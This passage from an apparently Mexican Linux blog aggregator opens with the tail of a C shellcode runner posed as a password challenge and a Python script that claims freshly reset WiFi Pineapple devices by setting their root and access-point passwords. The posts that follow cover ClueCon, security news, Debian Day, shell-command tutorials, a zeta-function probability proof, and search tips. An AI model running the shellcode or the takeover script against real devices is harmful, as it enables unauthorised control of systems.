    “\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80”

    “\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80”;

    int main(void){

    fprintf(stdout,“Length: %d\n”,strlen(gordita_de_chicharron));

    ((void()()) gordita_de_chicharron)();}

    Now, break the password ;)

    Carlos Augusto Lozano

    Carlos Augusto Lozano
    tail -f /dev/mind > blog

    Default pineapple accounts

    Hi, this is a little script to test default configuration in Wifi Pineapples ;)

    from random import choice
    from urllib import urlencode
    from httplib import HTTPConnection

    settings = {
    “ip”: “172.16.42.1”,
    “port”: 1471,
    “root_password”: “pineapplesareyummy”,
    “ap_ssid”: “AccessPoint”,
    “ap_password”: “password”
    }

    parameters = ('amber', 'blue', 'red',)
    values = ('on', 'off', 'blink',)

    connection = HTTPConnection(settings[“ip”], settings[“port”])
    php_session = ""

    while True:
    post_data = “{}&verify_pineapple=true”.format(urlencode(dict((parameter, choice(values),) for parameter in parameters)))
    connection.request(“POST”, “/?action=verify_pineapple”, post_data, {“Content-type”: “application/x-www-form-urlencoded”, “Connection”: “keep-alive”, “Cookie” : php_session})
    response = connection.getresponse()
    php_session = php_session or response.getheader(“set-cookie”).split(“;”)[0]
    if “action=set_password” in response.read():
    connection.request(“POST”, “/?action=set_password”, “password={0}&password2={0}&set_password=true&eula=true&sw_license=true”.format(settings[“root_password”]), {“Content-type”: “application/x-www-form-urlencoded”, “Cookie”: php_session})
    connection.getresponse().read()
    connection.request(“POST”, “/?action=set_ssid”, “ssid={0}&password={1}&password2={1}&set_ssid=true”.format(settings[“ap_ssid”], settings[“ap_password”]), {“Content-type”: “application/x-www-form-urlencoded”, “Cookie”: php_session})
    connection.getresponse().read()
    connection.request(“GET”, “/?action=finish”)
    print “Setup finished”
    break

    Domingo 09 de agosto de 2015

    Moisés Silva

    Moisés Silva
    Moy Blog

    ClueCon 2015

    ClueCon 2015

    ClueCon 2015

    I just got back from attending ClueCon 2015 in Chicago. This year the FreeSWITCH team presented their video conferencing support in version 1.6. Pretty neat stuff!

    This year my presentation was about “Scaling FreeSWITCH Performance”. One of the highlights is that using an alternative memory allocator may (or may not) improve drastically the performance of your FreeSWITCH instance.

    David Moreno

    David Moreno
    dm's blog

    0x1F

    ✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌

    I’ve now turned 0x1F.

    Viernes 07 de agosto de 2015

    José Mendoza Roa

    José Mendoza Roa
    TuCancUnix

    Mozilla Firefox, Vulnerabilidad

    El día 05 de agosto, un usuario de Firefox informó que un sitio de noticias en Rusia estaba publicitando una vulnerabilidad (exploit) de Firefox que buscaba archivos sensibles y les ha subido a un servidor que parece estar en Ucrania. Mozilla lanzó actualizaciones de seguridad que corrigen la vulnerabilidad. Se insta a todos los usuarios ... Read more

    The post Mozilla Firefox, Vulnerabilidad appeared first on TuCancUnix.

    Día Debian

    Este 15 de agosto en la ciudad de México se va a realizar el día Debian en el Rancho Electrónico, no es probable que pueda asistir, pero se pone bueno y como no he visto notas al respecto, aquí va mi cooperación.

    DiaDebian2015-Rancho

     

    debianday-2015

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    Entrada libre, cooperación colaborativa.
    Mayor información sobre las charlas, horarios y demás en wiki.debian.org (también sobre todas las sedes).

    Miércoles 05 de agosto de 2015

    Amazon.com.mx

    Y bueno tengo todavía un par de quitas con la versión local, un poco con la variedad del catalogo y por supuesto en que no exportan mis preferencias de las compras que ya hice desde los 90 en su sitio en USA, pero la verdadera queja es con los envíos, no con el costo, con la logística.

    Pedí una cosa de importación y ahí si estoy muy contento con el calculo del envío y los impuestos, por supuesto con el envió gratuito (global y todo), lo envíe a la casa de mis padres porque ahí recibí mucho tiempo paquetes es conocido el sitio por el servicio postal, parece ser que para la paquetería no lo es, revisando las fechas y que no me comentaban nada de que hubiese llegado mi paquete, tome por normal el retraso, pero cuando ya iban seis días se me ocurrió revisar en la página, donde obtuve la guía de UPS, resulta que tal cual mi paquete se había entregado el 28 de julio, bueno a preguntar ¿han visto un aviso de visita? No lo hubo, la página de UPS es muy buena, que no intuitiva para utilizar y logre ubicar mi paquete las oficinas donde recogerlo, los horarios de atención y quien firmo de recibido en las oficinas, hasta ahí todo muy bien.

    Y aquí esta la queja PAK Mail es quien gestiona y recibe lo de UPS y otras más, dicho como queja extra en Mexpost ya también reciben | envían DHL, en PAK como lo requiere UPS me pidieron una identificación oficial y que firmara y aquí es donde esta mi problema sacaron una fotocopia de la misma a lo que pregunte ¿entonces para que necesitan que firme? Si ya tienen una copia de mi identificación donde viene mi firma o mejor aún para que quieres una copia de mi identificación si estoy firmando, el empleado de mostrador tan solo se limito a decirme que son políticas de UPS y al preguntar donde podía poner mi queja me apunto dos 1800 de UPS, por lo de que no dejaron aviso de visita, pero no de PAK Mail ya que supongo no le pareció que lo de la identificación fuera importante y sé que más de uno dirá que porque tanto brinco, entiendo el porque y sobre todo en nuestro país que se requiera de ambas al tener que confiar en un tercero para el almacenaje.

    Pero lo que realmente me molesta es que UPS falló en entregar mi paquete, solo hizo una visita y no dejo anuncio de visita, si no se me ocurre buscar en la página de órdenes de Amazon cuatro días después (uno no hábil) mi paquete abría sido devuelto.

    De Amazon lo único que puedo quejarme es que casi todo su catalogo es de Kindle (todavía) y de que el libro que pedí aún no esta disponible, World War Z, lo compre en junio, si se que es de importación, pero cuanto apuestan a que si lo hubiese pedido en el sitio en USA ya lo tendría en casa.

    Por otro lado felicitaciones donde se merecen después pedí a mi propio domicilio una navaja Victorinox de las de llavero ya que la mía se “perdió” de mi maleta en mi ultimo viaje en avión y llego en 24 horas.

    Actualización 8/8/2015: Como justo he estado probando lo de la logística y envíos, originalmente hice dos compras una enviada a mi domicilio y otro al de mis padres, el primero con los resultados escritos arriba, el segundo con resultados mixtos, la primera parte del envío llego muy rápido y es el que llego en 24 horas, la segunda que viene de USA, se envío por i-parcel de UPS y resulta que Amazon ha encontrado muchos casos donde en ese servicio UPS entrega a terceros en este caso a SEPOMEX es decir Servicio Postal Mexicano, lo cual me dejo un poco frió. La gran ventaja fue que en la página de rastreo de Amazon, vienen diferentes opciones, desde correo, chat y la que utilice que le llamen a uno por teléfono, donde me explicaron varios de los problemas que están teniendo con las entregas, con lo cual me quedo claro porque en el envió a casa de mis padres no hubo aviso de visita, simplemente UPS entrego directamente a PAK Mail, que me mencionaron es algo que esta ocurriendo demasiado frecuente, total que voy a dar un voto de confianza a SEPOMEX, pero estoy casi seguro que voy a tener que hacer una visita a sus oficinas, lo que celebro de Amazon, fue que tal como lo prometió soporte al cliente en el transcurso del día me enviaron la guía y la página para poder darle seguimiento en SEPOMEX, que para otros servicios la liga viene directamente en la página de Amazon.

    Actualización 17/8/2015: En la semana pasada Amazon me envió un correo más el jueves o viernes de que mi envió estaba disponible en ventanilla para recoger, de hecho lo estuve revisando con la propia herramienta de SEPOMEX y el 12 termino en la ventanilla, el sábado ya casi a las 14 horas fui por a recogerlo, me tarde un buen rato, porque había mucha gente enviando cosas, no tanto por localizar el paquete, que era del tamaño de un folder. Punto terrible para correos de México, hoy entregaron en casa el aviso de que se tienen 7 días hábiles para recoger el envió por el que fui el sábado, que porque no me encontraron los días que fueron a entregar.

    Por ahí me han preguntado que cual es la diferencia entre el sitio de USA y el de MX y que si sigue sirviendo mi cuenta en USA, y bueno si, sigue sirviendo mi cuenta en Amazon original de hecho hace mucho mejores recomendaciones que la de MX, pero eso claro por el tiempo que tengo comprando en la misma, eso extraño de esta, la gran diferencia que veo es que en la tienda en USA me da el costo en dolares y el envió e impuestos son estimados, por supuesto tienen un catalogo más grande, pero no todo puede enviarse al país. La tienda en MX tiene un catalogo menor, que dicho sea de paso esta creciendo, pero en todos los casos incluye el precio final en pesos, sin tener que andar haciendo estimaciones o rembolsos y claro que esta ofreciendo envió gratis en compras mayores a 599MXN.

    Bloqueo del escritor

    Hace ya un tiempo tuve bloqueo del escritor, en su momento lo atribuí a que quede harto del tema que estaba tratando y para peor cosa ese tema lo tenia que desarrollar y usar en el trabajo, por lo mismo mucho rato pensé en que era más bien un problema no resuelto con la frustración y la molestia.

    Ahora que tengo obligaciones diferentes y tiempos distintos y que tengo más tiempo escribiendo puedo decir que el bloqueo del escritor no es tal… creo que el mentado bloqueo es simplemente falta de hacer y me explico, escribir requiere de constancia y normalmente creemos en que se escribe cuando llega la inspiración y no es que llegue la inspiración, hay que escribir para que cuando llegue la inspiración y escribamos mejor.

    Y claro, me refiero al bloqueo del escritor lúdico|creativo, escribir textos del trabajo, documentación, lecciones, presentaciones y demás normalmente no entran en este tipo de “bloqueo”

    Ahora especialmente me doy cuenta que el verdadero bloqueo del escritor es no tener tiempo para escribir, tiempo y un espacio para hacerlo.

    Martes 04 de agosto de 2015

    José Mendoza Roa

    José Mendoza Roa
    TuCancUnix

    BlackHat 2015, Vulnerabilidad en Thunderstrike de Mac OS X

    Se espera que un nuevo ataque contra firmware de Intel que se ejecuta en los ordenadores de Apple que se hará público en la conferencia Black Hat 2015 de esta semana. La investigación es una extensión del bootkit firmware Thunderstrike Mac OS X que se dió a conocer esta primavera que permite la instalación de firmware ... Read more

    The post BlackHat 2015, Vulnerabilidad en Thunderstrike de Mac OS X appeared first on TuCancUnix.

    José Mendoza Roa

    José Mendoza Roa
    TuCancUnix

    FBI, con problemas de contratación de hackers

    El FBI está teniendo problemas para llenar puestos de trabajo para sus programas de ciberseguridad debido comparativamente a los bajos salarios y rigurosos controles de antecedentes, dice un informe de auditoría. La oficina del Departamento de Justicia, ha publicado el jueves que el FBI no ha contratado a 52 de los 134 científicos de la computación ... Read more

    The post FBI, con problemas de contratación de hackers appeared first on TuCancUnix.

    Lunes 03 de agosto de 2015

    Luis Armando Medina

    Luis Armando Medina
    Como Instalar Linux

    Linux command mkdir aprende a crear directorios en linux

    El linux command mkdir podría no necesitar explicación mas allá de "Sirve para crear directorios" pero como otros comandos que parecen obvios, el comando linux mkdir tiene algunas opciones que te conviene saber para ahorrar tiempo. Descubre los trucos del comando linux mkdir aquí Continue reading
    Alcance Libre: Curso Global de Servidores con CentOS 7.

    Viernes 31 de julio de 2015

    Alcance Libre: Disponible ALDOS 1.4.7.

    Miércoles 29 de julio de 2015

    Luis Armando Medina

    Luis Armando Medina
    Como Instalar Linux

    Comando Linux mv

    Copiar un archivo en Linux es algo muy común pero hay ocasiones que no deseamos crear una copia de un archivo, sino cambiar su ubicación o cambiar de nombre de un archivo o directorio. Estas dos funciones se realizan con el comando linux mv y aquí te explico como usarlo con 10 ejemplos. Continue reading

    Crecimiento y declive de la comunidad

    En el grupo de Facebook Gultij – Grupo de Usuarios de GNU/Linux de Tijuana, Gustavo pregunta lo siguiente. He traducido las citas que originalmente estaban en inglés.

    Momentum de las comunidades del software libre:

    Veo un post en los grupos de OpenSuSE que dice algo así como:

    «Googleé grupos de usuarios de Linux en mi región y encontré que la mayoría de los sitios no han sido actualizados en años. ¿Comenzó a morir Linux mientras estuve ausente?»

    Y una de las respuestas, que me pareció acertada:

    «Sí, la comunidad es una sombra de lo que alguna vez fue. El Código Abierto y la tecnología ya no es tan padre y la nube es un enorme parásito adjuntado a la comunidad Open Source.»

    Me parece acertada la última línea. ¿Se ha vuelto la comunidad FLOSS simplemente un producto / mercancía para los intereses de otras compañías o proyectos, mas allá de la temática filosófica? ¿Qué opinan?

    Primero hay que detectar las falacias, y en la pregunta original hay una grave. No es lógico implicar “sitios de los GUL sin actualizar →  Linux comienza a morir”, esa es una conclusión un tanto melodramática.

    Lo que sí es cierto es que la comunidad se ha transformado. No es que la comunidad venga a menos sino que se ha transformado gracias al surgimiento de otras fuentes de información centralizadas en la nube. Al tener un alcance mayor, es más fácil encontrar respuestas de mayor calidad en estos foros; es natural. En otras palabras, la comunidad global se ha fortalecido y algunas comunidades locales presentan declives.

    El beneficio de los GUL locales es menor en apariencia pero sólo lo es en cuanto al GUL como fuente de información. Hay otros beneficios más difíciles de apreciar y Mario H. Cornejo los describe muy bien en la publicación Presentar en un grupo de usuarios de su blog Developeando.

    Sin embargo, a pesar de este surgimiento de información centralizada, modificar nuestro consumo hacia la nube nos hace dependientes de la misma (y en consecuencia de E. U. A. y el dólar), en lugar de ejercer la libertad de nuestro propio cómputo. No estoy lanzando culpas: los costos y el mercado dirigen parte de este movimiento, pero la disculpa no elimina la realidad.

    Hay que diferenciar audiencia de comunidad. Hay que diferenciar a quienes buscan en el grupo de usuarios como mera fuente de información (la audiencia, que consume el valor del grupo) de quienes aportan con trabajo, participación, código y contenido original (la comunidad, que genera el valor del grupo).

    El perfil de la gente que genera valor es diferente del perfil de la gente que lo consume. No resulta sorpresivo que —salvo algunas excepciones— la mayoría de la gente que genera valor también está presente en el canal de IRC #gultij en la red Freenode.

    He visto —en otros lugares— que la gente dice “¿cuándo es la siguiente presentación?” pero nadie dice “yo ofrezco este tema”. Eso no es comunidad, eso es audiencia. Con esto me refiero a que los sitios Web de los LUG no se actualizan solos; algún humano debe generar el contenido (de preferencia original, no sólo enlaces a blogs).

    Al final del día, el éxito de los GUL depende únicamente de la gente. Si la gente no aporta con trabajo a un GUL, éste automáticamente se desvanece. Es muy fácil:

    • Si pocos trabajan para el GUL, la densidad de trabajo es muy alta y los frutos de la comunidad son bajos; los voluntarios se desmotivan y se van.
    • Aunque haya actividad, si no se da la apariencia de dicha actividad, los externos no la perciben (como ocurre en la pregunta original) y no participan; entonces el trabajo se mantiene concentrado en unos cuantos… y ver punto anterior.

    En resumen, a la pregunta original —la que fue citada por Gustavo— yo contestaría: los grupos de usuarios de tu área comenzaron a morir debido a que estuviste ausente.

    Viernes 24 de julio de 2015

    Alcance Libre: ¿Sabes si tu nick (apodo) ya esta siendo utilizado en Internet?
    Xenode Systems: ¿Qué hacer después de instalar Fedora 22? (Workstation/Server)

    Miércoles 22 de julio de 2015

    Eduardo Ruiz Duarte

    Eduardo Ruiz Duarte
    beck's site

    Función zeta de Riemann y probabilidad de que dos enteros sean primos relativos


    Este post está motivado en que ya estoy de vacaciones y quería hacer algo divertido y también para alguien muy especial que tiene la propiedad de ser aniparkiomorfiginaica que le gusta mucho la probabilidad y estadística, ella sabrá quién es.

    Otra motivación es que como siempre tengo problemas para dormir posiblemente por las grandes cantidades de café que introduzco a mi cuerpo, pero empecemos.

    Deduciremos una probabilidad que involucra a $latex \pi$ e involucra a números primos que está íntimamente relacionado con el problema del milenio sin solución gracias a Riemann (Conjetura de Riemann sobre la función $latex \zeta$ que puedes ver aquí)

    La pregunta es realmente, ¿cuál es la probabilidad de que dos enteros positivos menores que cierto $latex N$ sean primos relativos (no tengan factores en común más que 1)?


    Por ejemplo, $latex (6,33)$ no son primos relativos  porque $latex 6=3\cdot 2$ y $latex 33=11\cdot 3$ (comparten al $latex 3$)

    pero por ejemplo $latex (14,15)$ son primos relativos porque no comparten factores no triviales y $latex (c,p)$ donde $latex c$ es cualquier entero y $latex p$ es un número primo.

    Esta demostración me gusta mucho, aquí la tienen, vamos a calcular esta probabilidad de obtener dos números primos relativos al azar


    Construcción:

    Sean $latex x,y\in \mathbb{N}$ con $latex x,y>1$, como queremos que $latex x,y$ sean coprimos no deben tener ningún factor en común.

    Empecemos facilito.

    ¿Cuál es la probabilidad de dos enteros positivos tengan al 2 como factor?

    Bueno, la probabilidad de que un sólo número tenga al $latex 2$ como factor es $latex 1/2$ ya que basta que sea par, y esto sucede el 50% de las veces, esto implica que la probabilidad de que los dos tengan al $latex 2$ como factor es $latex (1/2)^2$

    Entonces la probabilidad de que $latex \alpha,\beta$ NO tengan al 2 como factor es $latex 1-\Big({\frac{1}{2}}\Big)^2}$


    Ahora para el 3, la probabilidad de manera similar de que no contengan en común al 3 es de $latex 1-\Big({\frac{1}{3}}\Big)^2}$

    Ya que igualmente, "cada 3 números tienes un múltiplo de 3" , y así en general para todo primo $latex p$ tenemos.

    Para cada $latex p$ tenemos que cada $latex p$ números pasarás por un múltiplo de $latex p$ a eso nos referimos con la probabilidad de que nos toque a $latex p$ como factor es $latex \frac{1}{p}$
    Por lo tanto la probabilidad $latex P_{\alpha,\beta}$ de que dos enteros al azar $latex \alpha,\beta \in \mathbb{N}$ menores que cierto $latex N$  sean primos relativos es:

    $latex P_{\alpha,\beta}=\displaystyle \prod_{p\in \mathbb{P}}{1-\frac{1}{p^2}}} =(1-\frac{1}{2^2})\cdot (1-\frac{1}{3^2})\cdot (1-\frac{1}{5^2})\cdot ...\cdot(1-\frac{1}{{p_n}^2})\cdot ...$  ***

    Donde $latex p_n\in\mathbb{P}$, la probabilidad se obtiene cuando multiplicas para todo número primo es decir cuando $latex n\rightarrow \infty$.

    Donde $latex \mathbb{P}$ son todos los números primos, los multiplicamos todos ya que son sucesos probabilisticamente independientes.

    Es decir, recuerda que la probabilidad de que sucedan dos eventos independientes $latex A$ y $latex B$ al mismo tiempo es en símbolos $latex P(A \wedge B)=P(A)\cdot P(B)$, con independientes me refiero a que el evento $latex A$ no tenga cierta relación con el evento $latex B$, y ¿por qué tener factores primos para cada primo son eventos independientes ? , fácil... porque los números SON primos, ya que si no lo fueran, digamos la probabilidad de tener a $latex 6$ como factor es dependiente de tener a $latex 2$ y $latex 3$ como factor, pero como aquí son números primos, todos son disjuntos con respecto a la medida de probabilidad que mide tener factores primos y por definición los primos son únicos en este sentido.

    Pero esto ¿qué? , esta fórmula es medio rara... y no nos dice nada...


    Vamos a desarrollar eso para llegar a un resultado sorprendente, primero hay que recordar esta serie de cálculo que tiene que ver con sumas en progresiones geométricas , toma $latex a\in \mathbb{R}$ con $latex \mid a \mid$  <  $latex 1$  

    $latex \sum_{n=0}^{\infty} a^n = 1+a+a^2+... = \frac{1}{1-a}$   **

    Por ejemplo si $latex a=1/7$

    $latex \sum_{n=0}^{\infty}\Big (\frac{1}{7}\Big)^n=1+\frac{1}{7}+\frac{1}{7^2}+...=\frac{1}{1-\frac{1}{7}}=\frac{7}{6}\approx 1.1666$

    De la fórmula  **   mete $latex a=(1/2)^2$,  y después voltea la fracción, es decir pon el denominador arriba y el numerador abajo, (esto podemos hacer  porque ningún denominador es 0)

    Entonces tenemos que el primer término de *** a lo podemos expandir con la fórmula ** (volteada) como:

    $latex 1-\frac{1}{2^2}} = \frac{1}{1+\frac{1}{2^2}+\frac{1}{2^4}+...\frac{1}{2^{2k}}+...}$

    Similarmente podemos desarrollar todos los términos de $latex P_{\alpha,\beta}$

    $latex P_{\alpha,\beta}=(\frac{1}{1+\frac{1}{2^2}+\frac{1}{2^4}+...\frac{1}{2^{2k}}+...})\cdot(\frac{1}{1+\frac{1}{3^2}+\frac{1}{3^4}+...\frac{1}{3^{2k}}+...})\cdot ...$

    Observa cuidadosamente la ecuación anterior y fíjate que en los denominadores de los denominadores, están todos los posibles cuadrados perfectos de todos los números naturales, en todas sus combinaciones y sabores cuando $latex k\rightarrow \infty$ tenemos TODOS los cuadrados perfectos, por lo que esa suma horrible es lo mismo que la siguiente representacion


    $latex P_{\alpha,\beta}=\frac{1}{\sum_{n=0}^{\infty}\frac{1}{n^2}}=\frac{1}{1+\frac{1}{2^2}+\frac{1}{3^2}+\frac{1}{4^2}+...+\frac{1}{n^2}+...}$, es bien sabido que esta serie en el denominador $latex \sum_{n=0}^\infty \frac{1}{n^2}=\frac{\pi^2}{6}$

    Es sabido el resultado de esta serie si juegas con la expansión en series de $latex \frac{sen(x)}{x}$
    o como el problema de Basilea


    Por lo tanto, sabiendo esto, llegamos a este hermoso resultado en teoría analítica de números.

    Teorema:
    Sean $latex \alpha,\beta \in \mathbb{N}$ donde $latex \alpha,\beta$  < $latex N$, entonces la probabilidad de que $latex \alpha$ y $latex \beta$ NO tengan factores en común (sean primos relativos) es:   $latex P_{\alpha,\beta}=\frac{6}{\pi^2}\approx 0.6079...$


    De hecho, es equivalente esto a la función $latex \zeta$ de Riemann evaluada en $latex 2$ , y la fómula  *** que encontramos es justamente la representación con números primos de la función zeta de Riemann por Euler, pueden verlo aquí así como como la función zeta de Riemann en 2 $latex \zeta(2)$, esta función es de las más importantes en matemáticas ya que se ha buscado generalizar a muchos espacios, teoría de curvas, et cétera donde ya tiene solución, pero no en los complejos, la cual llevaría a conocer mejor la distribución de los números primos, si la resuelves te darán 1 millón de dólares, esta función es $latex \zeta(s)=\sum_{n=1}^\infty \frac{1}{n^s}$ y necesitas demostrar que $latex \zeta(s) =0$ siempre que $latex s=\frac{1}{2}+it$ con $latex t\in \mathbb{R}$ , eso traerá consecuencias muy imporantes en teoría de números y distribución de primos, criptografía, et cétera, esto es sólo una probadita

    También con WolframAlpha pueden ver el valor de la función zeta de Riemann en 2 y en el valor que quieran: aquí
    Espero les haya gustado

    Eduardo Ruíz Duarte
    twitter @toorandom
    Eduardo Ruiz Duarte

    Eduardo Ruiz Duarte
    beck's site

    Función zeta de Riemann y probabilidad de que dos enteros sean primos relativos

    Este post está motivado en que ya estoy de vacaciones y quería hacer algo divertido y también para alguien muy especial que le gusta mucho la probabilidad y estadística, ella sabrá quién es.

    Otra motivación es que como siempre tengo problemas para dormir posiblemente por las grandes cantidades de café que introduzco a mi cuerpo, pero empecemos.

    Deduciremos una probabilidad que involucra a $latex \pi$ e involucra a números primos que está íntimamente relacionado con el problema del milenio sin solución gracias a Riemann (Conjetura de Riemann sobre la función $latex \zeta$ que puedes ver aquí)

    La pregunta es realmente, ¿cuál es la probabilidad de que dos enteros positivos menores que cierto $latex N$ sean primos relativos (no tengan factores en común más que 1)?


    Por ejemplo, $latex (6,33)$ no son primos relativos  porque $latex 6=3\cdot 2$ y $latex 33=11\cdot 3$ (comparten al $latex 3$)

    pero por ejemplo $latex (14,15)$ son primos relativos porque no comparten factores no triviales y $latex (c,p)$ donde $latex c$ es cualquier entero y $latex p$ es un número primo.

    Esta demostración me gusta mucho, aquí la tienen.


    Construcción:

    Sean $latex x,y\in \mathbb{N}$ con $latex x,y>1$, como queremos que $latex x,y$ sean coprimos no deben tener ningún factor en común.

    Empecemos facilito.

    ¿Cuál es la probabilidad de dos enteros positivos tengan al 2 como factor?

    Bueno, la probabilidad de que un sólo número tenga al $latex 2$ como factor es $latex 1/2$ ya que basta que sea par, y esto sucede el 50% de las veces, esto implica que la probabilidad de que los dos tengan al $latex 2$ como factor es $latex (1/2)^2$

    Entonces la probabilidad de que $latex \alpha,\beta$ NO tengan al 2 como factor es $latex 1-\Big({\frac{1}{2}}\Big)^2}$


    Ahora para el 3, la probabilidad de manera similar de que no lo contenga es de $latex 1-\Big({\frac{1}{3}}\Big)^2}$

    Ya que igualmente, "cada 3 números tienes un múltiplo de 3" , y así en general para todo primo $latex p$ tenemos.

    Para cada $latex p$ cada $latex p$ numeros pasarás por un múltiplo de $latex p$ a eso nos referimos con la probabilidad de que nos toque a $latex p$ como factor es $latex \frac{1}{p}$.

    Por lo tanto la probabilidad $latex P_{\alpha,\beta}$ de que dos enteros al azar $latex \alpha,\beta \in \mathbb{N}$ menores que cierto $latex N$  sean primos relativos es:

    $latex P_{\alpha,\beta}=\displaystyle \prod_{p\in \mathbb{P}}{1-\frac{1}{p^2}}} =(1-\frac{1}{2^2})\cdot (1-\frac{1}{3^2})\cdot (1-\frac{1}{5^2})\cdot ...\cdot(1-\frac{1}{{p_n}^2})\cdot ...$  ***

    Donde $latex p_n\in\mathbb{P}$ , la probabilidad se obtiene cuando multiplicas para todo número primo es decir cuando $latex n\rightarrow \infty$.

    Donde $latex \mathbb{P}$ son todos los números primos, los multiplicamos todos ya que son sucesos probabilisticamente independientes.

    Es decir, recuerda que la probabilidad de que sucedan dos eventos independientes $latex A$ y $latex B$ al mismo tiempo es en símbolos $latex P(A \wedge B)=P(A)P(B)$ , con independientes me refiero a que el evento $latex A$ no tenga cierta relación con el evento $latex B$ , y ¿por qué tener factores primos para cada primo son eventos independientes ? , fácil... porque los números son primos, ya que si no lo fueran, digamos la probabilidad de tener a $latex 6$ como factor es dependiente de tener a $latex 2$ y $latex 3$ como factor, pero como aquí son números primos, todos son disjuntos con respecto a la medida de probabilidad que mide tener factores primos y por definición los primos son únicos en este sentido.

    Pero esto ¿qué? , es medio obvio... y no nos dice nada...


    Vamos a desarrollar eso para llegar a un resultado sorprendente, primero hay que recordar esta serie de cálculo que tiene que ver con sumas en progresiones geométricas , toma $latex a\in \mathbb{R}$ con $latex \mid a \mid$ < $latex 1$ 

    $latex \sum_{n=0}^{\infty} a^n = 1+a+a^2+... = \frac{1}{1-a}$   **

    Por ejemplo si $latex a=1/7$

    $latex \sum_{n=0}^{\infty}\Big (\frac{1}{7}\Big)^n=1+\frac{1}{7}+\frac{1}{7^2}+...=\frac{1}{1-\frac{1}{7}}=\frac{7}{6}\approx 1.1666$

    De la fórmula  **   mete $latex a=(1/2)^2$,  y después voltea la fracción, es decir pon el denominador arriba y el numerador abajo, (esto podemos hacer  porque ningún denominador es 0)

    Entonces tenemos que el primer término de *** a lo podemos expandir con la fórmula ** (volteada) como:

    $latex 1-\frac{1}{2^2}} = \frac{1}{1+\frac{1}{2^2}+\frac{1}{2^4}+...\frac{1}{2^{2k}}+...}$

    Similarmente podemos desarrollar todos los términos de $latex P_{\alpha,\beta}$

    $latex P_{\alpha,\beta}=(\frac{1}{1+\frac{1}{2^2}+\frac{1}{2^4}+...\frac{1}{2^{2k}}+...})\cdot(\frac{1}{1+\frac{1}{3^2}+\frac{1}{3^4}+...\frac{1}{3^{2k}}+...})\cdot ...$

    Observa cuidadosamente la ecuación anterior y fíjate que en los denominadores de los denominadores, están todos los posibles cuadrados perfectos de todos los números naturales, en todas sus combinaciones y sabores cuando $latex k\rightarrow \infty$ tenemos TODOS los cuadrados perfectos, por lo que esa suma horrible es lo mismo que la siguiente representacion


    $latex P_{\alpha,\beta}=\frac{1}{\sum_{n=0}^{\infty}\frac{1}{n^2}}=\frac{1}{1+\frac{1}{2^2}+\frac{1}{3^2}+\frac{1}{4^2}+...+\frac{1}{n^2}+...}$ , es bien sabido que esta serie en el denominador $latex \sum_{n=0}^\infty \frac{1}{n^2}=\frac{\pi^2}{6}$

    Es sabido el resultado de esta serie si juegas con la expansión en series de $latex \frac{sen(x)}{x}$
    o como el problema de Basilea


    Por lo tanto, sabiendo esto, llegamos a este hermoso resultado en teoría analítica de números.

    Teorema:
    Sean $latex \alpha,\beta \in \mathbb{N}$ donde $latex \alpha,\beta$ < $latex N$ , entonces la probabilidad de que $latex \alpha$ y $latex \beta$ NO tengan factores en común (sean primos relativos) es:  $latex P_{\alpha,\beta}=\frac{6}{\pi^2}\approx 0.6079...$


    De hecho, es equivalente esto a la función $latex \zeta$ de Riemann evaluada en $latex 2$ , y la fómula  *** que encontramos es justamente la representación con números primos de la función zeta de Riemann por Euler, pueden verlo aquí así como como la función zeta de Riemann en 2 $latex \zeta(2)$


    Espero les haya gustado

    Eduardo Ruíz Duarte
    twitter @toorandom

    Jueves 16 de julio de 2015

    Óscar A. Parra V.

    Óscar A. Parra V.
    El Canibal » Geek

    conviertete en un google power user

    Se han preguntado por qué cuando buscan algo en el navegador, nunca encuentran rápido lo que andan buscando.

    Aquí unos tipos para que te conviertas en un buen buscador:

    googlesearchbox

    Para buscar una frase con las palabras exactas lo ponemos entre comillas:

    “busca exacta de frases”

    Para excluir alguna palabra de la búsqueda, agregamos (-):
    casa blanca –Washington

    Para busca algo exclusivamente en una página:
    chapo guzman site:reforma.com

    Busca alguna pagina similar a otra:
    related:imdb.com

    Búsqueda donde el texto aparezca en el título de la página:
    allintitle: los grandes escapes

    Búsqueda donde es mencionado lo que buscas en el URL:
    allinurl: Crossfit en México

    Cuando quieres buscar cualquiera de dos opciones:
    olimpiadas 1992 OR 2012

    Para buscar un tipo de archivo (ejemplo los archivos pdf xlsx docx torrent  y demás)
    lista de proveedores filetype:pdf

    Si quieres buscar un rango numérico le agregas dos puntos y lo pones de esta manera:
    laptop hp $500..$700

    Cuando recuerdas una frase pero has olvidado una palabra en ella, usas el asterisco como comodín en la búsqueda. Por ejemplo, la canción de la célula que explota de caifanes:
    Hay veces que * verte *

    Miércoles 15 de julio de 2015

    Ernesto Cobos

    Ernesto Cobos
    Avenegra » Linux

    ¿Que es Linux? y ¿Por que usarlo?

    Linux Domina Avenegra

    Los sistemas operativos basados en Linux o como es correcto nombrarlo GNU/Linux son sistemas operativos como decir Windows, DOS o Mac, Cuenta con una interfaz gráfica (Con muchas interfaces gráficas), pero la gran diferencia para el usuario normal es que en GNU/Linux no hay virus, ofrece buen compatibilidad con ciertas aplicaciones de Windows, Siempre funciona mejor que un Windows y si estas estudiando algo relacionado con ciencias de la computación desarrollar en esta plataforma es mucho mas libre (Ojo me refiero a la libertad que se tiene al programar no a que sea software libre) que en cualquier otra, por que permite ver como suceden todos los procesos.

    En los últimos días varios colegas y amigos me han preguntado sobre Linux, ¿Que es?, ¿Cuanto cuesta?, ¿Puedo jugar en Linux?, ¿Puedo programar en Linux? y la pregunta que mas hacen y mas me gusta es ¿Que es Linux? el día de hoy en este articulo pienso aclarar todas sus dudas o la mayoría de ellas.

    ¿Que es GNU/Linux?

    Linux-File-System

    GNU/Linux está modelado como un sistema operativo tipo Unix. Desde sus comienzos, Linux se diseñó para que fuera un sistema multi tarea y multi usuario. Estos hechos son suficientes para diferenciar a Linux de otros sistemas operativos más conocidos. Sin embargo, Linux es más diferente de lo que pueda imaginar. Nadie es dueño de Linux, a diferencia de otros sistemas operativos. Gran parte de su desarrollo lo realizan voluntarios de forma altruista.

